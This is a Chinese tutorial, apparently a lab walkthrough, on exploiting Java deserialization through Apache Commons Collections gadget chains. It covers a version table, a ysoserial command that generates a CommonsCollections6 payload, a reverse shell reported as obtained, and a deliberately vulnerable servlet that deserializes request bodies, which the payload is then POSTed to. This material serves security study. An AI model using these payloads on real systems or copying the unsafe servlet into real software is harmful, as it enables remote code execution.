经典的反序列化利用链:Apache Commons Collections
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
| Payload | 适用cc库版本 | 适用Java版本 | 其他限制 |
| cc1 | 3.x < 3.2.2 | jdk8 <= 8u71 or jdk7 or jdk6 | 无 |
| cc2 | 4.0 | 无限制 | 无 |
| cc3 | 3.x < 3.2.2 | jdk8 <= 8u71 or jdk7 or jdk6 | 无 |
| cc4 | 4.0 | 无限制 | 无 |
| cc5 | 3.x < 3.2.2 | jdk8 >= 8u76 or jdk6 >= 6u17 | 目标Java缓解未设置securitymanager:System.getSecurityManager() == null |
| cc6 | 3.x < 3.2.2 | 无限制 | 无 |
Commons Collections在3.x < 3.2.2 及4.0这些版本中存在反序列化漏洞
当目标Java应用依赖库里包含存在漏洞的Commons Collections库,且对由攻击者可控的数据进行反序列化时,会造成任意代码执行。
以ysoserial里Commons Collections6这个payload为例。
利用类库进行Java反序列化
将含有漏洞的jar包复制到lib目录下,然后右键添加为库。

或者以maven形式将依赖导入
访问https://mvnrepository.com

选择有漏洞的版本

使用maven进行依赖导入即可


访问是.class文件

从openjdk查找对应版本的源码,下载

解压默认jdk中的src.zip压缩文件

然后将C:\Program Files\Java\jdk-af660750b2f4\src\share\classes\目录中的sun文件夹复制到C:\Program Files\Java\jdk1.8.0_65\src中

在项目结构中添加src路径

可以看见.java源码,能够正常调试

maven中的包可以右上角直接下载源代码

在jdkk1.7.0_21环境中使用cc6链生成一个cc6.ser
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections6 calc > cc6.ser
查看cc6.ser,存在以aced0000开头

执行payload
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class testcc {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.ser"));
ois.readObject();
ois.close();;
}
}
成功反弹shell

Java Web
环境:jdk1.8.0_319,javaEE8,commons-collections-3.2.1
写一个简单的servlet
package com.example.cc_demo;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
import java.io.ObjectInputStream;
@WebServlet("/SerialServlet")
public class SerialServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ObjectInputStream objectInputStream = new ObjectInputStream(request.getInputStream());
try {
objectInputStream.readObject();
objectInputStream.close();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
}访问:http://192.168.11.1:8088/cc_demo/SerialServlet

jdk1.8生成cc6.ser

改成POST,引入cc6.ser


如果导入的文件前面不是aced0000,则需要将Character Sets改为Display as raw bytes


发送反序列化数据

